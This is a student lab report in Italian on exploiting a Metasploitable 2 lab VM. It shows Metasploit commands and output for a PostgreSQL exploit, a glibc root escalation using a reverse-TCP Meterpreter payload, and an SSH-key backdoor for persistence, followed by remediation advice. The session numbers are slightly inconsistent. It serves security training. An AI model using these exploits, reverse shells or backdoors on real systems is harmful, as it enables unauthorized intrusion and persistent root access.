

Report Tecnico: Exploitation e Post-Exploitation su Metasploitable 2

Studente: Kevin Motti

Esercizio: U2-W3-E4 - Metasploit Framework

1. Obiettivo dell'Esercitazione

L'obiettivo dell'attività è stato quello di compromettere una macchina vulnerabile (Metasploitable 2) sfruttando una vulnerabilità nota nel servizio PostgreSQL, per poi elevare i privilegi da utente limitato a Root (Privilege Escalation) e garantire l'accesso futuro tramite una Backdoor (Persistence), utilizzando esclusivamente il framework Metasploit (msfconsole).

2. Accesso Iniziale (Initial Foothold)

2.1. Scansione e Exploitation

Per ottenere l'accesso iniziale al sistema target, è stato identificato il servizio PostgreSQL come vettore di attacco.

- **Modulo utilizzato:** exploit/linux/postgres/postgres_payload
- **Target (RHOST):** 192.168.1.190
- **Attacker (LHOST):** 192.168.1.188

Comandi eseguiti:

```
use exploit/linux/postgres/postgres_payload
set RHOST 192.168.1.190
set LHOST 192.168.1.188
exploit
```

```
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.190
RHOSTS => 192.168.1.190
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.188
LHOST => 192.168.1.188
msf exploit(linux/postgres/postgres_payload) > exploit
```

2.2. Verifica Privilegi Iniziali

L'exploit ha avuto successo aprendo la **Sessione 1**. È stato verificato l'utente corrente:

```
meterpreter > getuid
Server username: postgres
```

```
meterpreter > getuid
Server username: postgres
```

Risultato: Accesso ottenuto come utente postgres (basso privilegio). È necessaria una scalata dei privilegi.

3. Privilege Escalation

3.1. Ricognizione Vulnerabilità (Automated Recon)

Come richiesto dalla traccia bonus, è stato utilizzato un modulo di post-exploitation per identificare vulnerabilità locali sfruttabili per diventare root.

- **Modulo utilizzato:** post/multi/recon/local_exploit_suggester
- **Sessione target:** Sessione 1

Comandi eseguiti:

background

use post/multi/recon/local_exploit_suggester

set SESSION 1

run

```
msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > run
```

Esito: Il modulo ha identificato diverse vulnerabilità critiche (output verde), tra cui glibc_ld_audit_dso_load_priv_esc e udev_netlink.

```
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/su_login Yes The target appears to be vulnerable.
6 exploit/linux/persistence/autostart Yes The service is running, but could not be validated.
7 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8 exploit/unix/local/setuid_nmap Yes The target is vulnerable. /usr/bin/nmap is setuid
```

3.2. Esecuzione dell'Exploit Locale (Root)

È stato selezionato l'exploit basato sulla libreria glibc. Durante la configurazione, è stato necessario specificare manualmente il payload a **32-bit (x86)** per compatibilità con l'architettura di Metasploitable 2.

- **Modulo utilizzato:** exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
- **Sessione:** 1
- **Payload:** linux/x86/meterpreter/reverse_tcp (Cruciale per il funzionamento)

- **LPORT:** 5555

Comandi eseguiti:

```
use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
set SESSION 1
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LPORT 5555
run
```

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LPORT 5555
LPORT => 5555
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.1.188:5555
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.n7hry0C' (1271 bytes) ...
[*] Writing '/tmp/.HixfBNAnV' (281 bytes) ...
[*] Writing '/tmp/.uml4Sw708' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.1.190
[*] Meterpreter session 3 opened (192.168.1.188:5555 -> 192.168.1.190:43500) at 2026-01-21 23:40:51 +0100

meterpreter > getuid
Server username: root
meterpreter > █
```

3.3. Verifica Root

L'exploit ha aperto la **Sessione 2**. Verifica finale dei privilegi:

```
meterpreter > getuid
Server username: root
```

Risultato: Scalata dei privilegi completata con successo. Controllo totale della macchina.

4. Persistenza / Backdoor

Per garantire l'accesso futuro anche dopo un riavvio o la chiusura di Metasploit, è stata installata una backdoor SSH.

4.1. Installazione Chiave SSH

Utilizzando la sessione Root attiva, è stata iniettata una chiave SSH malevola.

- **Modulo utilizzato:** post/linux/manage/sshkey_persistence
- **Sessione:** 2 (Root)

Comandi eseguiti:

background
use post/linux/manage/sshkey_persistence
set SESSION 2
run

```
msf post(multi/recon/local_exploit_suggester) > use post/linux/manage/sshkey_persistence
msf post(linux/manage/sshkey_persistence) > set SESSION 5
SESSION => 5
msf post(linux/manage/sshkey_persistence) > run
```

Il modulo ha salvato la chiave privata nella directory "loot" di Kali Linux.

```
[+] Storing new private key as /home/kali/.msf4/loot/20260122001225_default_192.168.1.190_id_rsa_247312.txt
```

4.2. Verifica Accesso Backdoor

Per dimostrare il funzionamento, è stata stabilita una connessione SSH dalla macchina attaccante usando la chiave generata, senza bisogno di password.
È stato necessario correggere i permessi della chiave (chmod 600) e forzare l'uso di algoritmi legacy supportati dalla macchina vittima obsoleta.

Comando di verifica:

```
$ chmod 600 /home/kali/.msf4/loot/[nome_file_chiave].txt
```

```
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
-i /home/kali/.msf4/loot/[nome_file_chiave].txt root@192.168.1.190
```

```
(kali@kali)~$
$ chmod 600 /home/kali/.msf4/loot/20260122001225_default_192.168.1.190_id_rsa_247312.txt
(kali@kali)~$
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260122001225_default_192.168.1.190_id_rsa_247312.txt root@192.168.1.190
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed Jan 21 16:47:00 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#
```

Esito: Accesso SSH come **root** avvenuto con successo senza richiesta di password.

5. Contromisure di Sicurezza (Remediation Plan)

Per mitigare le vulnerabilità sfruttate durante questo esercizio, si raccomandano le seguenti azioni correttive:

5.1. Patch Management e Aggiornamento OS

L'escalation dei privilegi è stata possibile a causa di vulnerabilità note nel Kernel Linux e nella libreria glibc.

- **Azione:** Aggiornare il sistema operativo e tutte le librerie all'ultima versione stabile disponibile. Implementare una politica di aggiornamento automatico per le patch di sicurezza critiche.

5.2. Hardening del Servizio PostgreSQL

L'accesso iniziale è avvenuto tramite il servizio di database.

- **Configurazione:** Modificare il file `pg_hba.conf` per restringere le connessioni solo a indirizzi IP fidati o solo a localhost se non è necessario l'accesso remoto.
- **Credenziali:** Assicurarsi che l'account amministratore del database non abbia password di default o deboli.

5.3. Messa in Sicurezza di SSH

Per prevenire l'uso di backdoor persistenti e l'accesso non autorizzato:

- **Disabilitare Root Login:** Modificare `/etc/ssh/sshd_config` impostando `PermitRootLogin no`. Gli amministratori dovrebbero loggarsi come utenti normali e usare `sudo`.
- **Disabilitare Protocolli Obsoleti:** Rimuovere il supporto per `ssh-rsa` e altri algoritmi deboli che permettono attacchi crittografici.
- **Monitoraggio:** Controllare regolarmente il file `~/.ssh/authorized_keys` (specialmente dell'utente root) per individuare chiavi non autorizzate.

6. Conclusioni

L'esercitazione è stata completata soddisfacendo tutti i requisiti:

1. Compromissione del servizio PostgreSQL.
2. Analisi automatizzata delle vulnerabilità locali.
3. Escalation dei privilegi a Root tramite exploit glibc (con payload x86).
4. Installazione e verifica di una persistenza SSH funzionante.

Il sistema target Metasploitable 2 risulta completamente compromesso, evidenziando l'importanza critica dell'aggiornamento dei sistemi (Patch Management) e della configurazione sicura dei servizi esposti.